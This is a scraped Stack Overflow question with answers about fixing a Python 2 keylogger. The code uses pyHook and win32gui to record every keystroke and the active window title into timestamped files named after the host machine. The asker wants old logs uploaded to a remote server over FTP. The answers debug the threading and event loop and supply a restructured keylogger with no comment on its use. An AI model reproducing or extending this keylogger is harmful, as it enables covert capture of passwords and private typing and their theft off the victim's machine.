问题
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def fi():
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
lastWindow = None
lastWindow=win32gui.GetWindowText (win32gui.GetForegroundWindow())
print lastWindow
def OnKeyboardEvent(event):
global lastWindow
window = event.WindowName
key = chr(event.Ascii)
if window != lastWindow:
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
if __name__ == '__main__':
Thread(target = fi).start()
Thread(target = OnKeyboardEvent(event)).start()
The first block of code def fi() is making a new file when the file size goes more than 20KB . The second block is a keylogger and logs the key in the file. I am new to python and multi-threading. Now when i run this code. i can only get the keylogger working and no file is formed and no logs are created. Please help me with this one.
- All i need from this code is to create a log file named on the current time and log all the keywords into the file. and then if the file becomes more than 20KB then it should upload the old file to the server and make a new file with the new current time. I am new to python thats why i am not sure of what this code is wrong in and what it is not doing .*
回答1:
First problem
You do create two Threads - but the target of the second is the return value of OnKeyboardEvent(event)
. This has no return
-statement, so the return value is None
, so the Thread has no target.
Second problem
Your code never reaches the if __name__ == "__main__":
-part. It blocks on pythoncom.PumpMessages()
, at least for me.
Third problem
At first I was confused how your code could run without throwing an exception - event
in the last line isn't defined earlier in this scope. But problem 2 prevents problem 3 from becoming effective at the moment, but if you fix this, you'll have to face number 3 as well.
Solution
Honestly, I do not really understand what you are trying to do. You should definitely fix each of the problems.
Don't call the target of a thread, give the thread a function-object. If you need arguments, use the
args
-argument ofThread
, e.g.Thread(target = OnKeyboardEvent, args=(event)).start()
I do not know the usage of
pythoncom
too well. Maybepythocom.PumpWaitingMessages()
is what you want?I have no idea what you're trying to do here. Why do you want to call a callback-function in a Thread? This function has no loop or anything, so it will run once and stop. I guess it was just a desperate try?
General remarks
- I'd not recommend redefining
sys.stdout
unless you really have to do so. - Please
close()
files you open. Maybe consider using thewith
-statement. - Even better: make use of the
logging
-module. It offers a lot of different possibilities. - When you create a Thread, think about the end. When will it stop? How can you stop it from another Thread?
回答2:
import win32api
import win32console
import win32gui
import pythoncom, pyHook , sys, time , os , threading
import shutil ,socket ,datetime
from ftplib import FTP
from threading import Thread
def OnKeyboardEvent(event):
# Now you can access your hookmanager, and change which keys you want
# to watch. Using 'event' and 'hm', you can do some fun stuff in here.
global hm
global lastWindow
window=win32gui.GetWindowText(win32gui.GetForegroundWindow())
####window = event.WindowName
####I'm not sure, but these last two functions may not return the "exact"
####name values. I would call the same function you trying to compare against.
key = chr(event.Ascii)
if window != lastWindow: ## Now you know these at least come from same function
start = '-----------------------------------'
print str(start)
print window
lastWindow = window
print key
def fi(): #This is your "worker loop"
while True:
dr = socket.gethostname()
if not os.path.exists(dr):
os.makedirs(dr)
else:
pass
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
statinfo = os.stat(fil)
fils = statinfo.st_size
if(fils > 20):
now = datetime.datetime.now()
p = now.strftime("%Y-%m-%d %H-%M")
temp_path = dr + '/' + p
fil = temp_path + '.txt'
sys.stdout = open(fil,'w')
else:
pass
if __name__ == '__main__':
"""This stuff only executes once"""
global lastWindow
lastWindow = None
lastWindow=win32gui.GetWindowText(win32gui.GetForegroundWindow())
print lastWindow
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
Thread(target = fi).start() #This is your worker loop
# We don't need this. OnKeyboardEvent will get callbacks from system
# thanks to Hookmanager and PumpMessages
##Thread(target = OnKeyboardEvent(event)).start()
# You wouldn't want to do it with the way we are set up, but this is a "polite"
# way to get PumpMessages to return...
#ctypes.windll.user32.PostQuitMessage(0) # stops pumpMessages
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
回答3:
I noticed your edit/comment on the original message. If you are still working on this, here is what I suggest.
Forget about the logging, threading, and other stuff you are trying to do. Focus on getting PyHook to work in its most simple state. From the original code, it seems you are struggling to get pyHook set up correctly (note, i do not currently have pyhook installed, so this is not tested code):
import pyHook
def OnKeyboardEvent(event):
print(event)
if __name__ == '__main__':
global hm #if we make this global, we can access inside OnKeyboardEvent
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
pythoncom.PumpMessages() #This call will block forever unless interrupted,
# so get everything ready before you execute this.
except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told
print(e)
os._exit()
This code aims to simply hook any keypress event, print the event instance to the console. Technically you should not do much work INSIDE the event callback (it should return as quickly as possible), but for the sake of testing, you might be able to put some of your worker-functions in the event loop. THis would only be temporary, until you are ready to mix in your threaded worker loop. (and don't be surprised if file-access functions cause errors).
Get this working first. Then try storing stdout to a file. (forget about the 20Kb file limit for the time being).
来源:https://stackoverflow.com/questions/15562993/python-threading-with-pyhook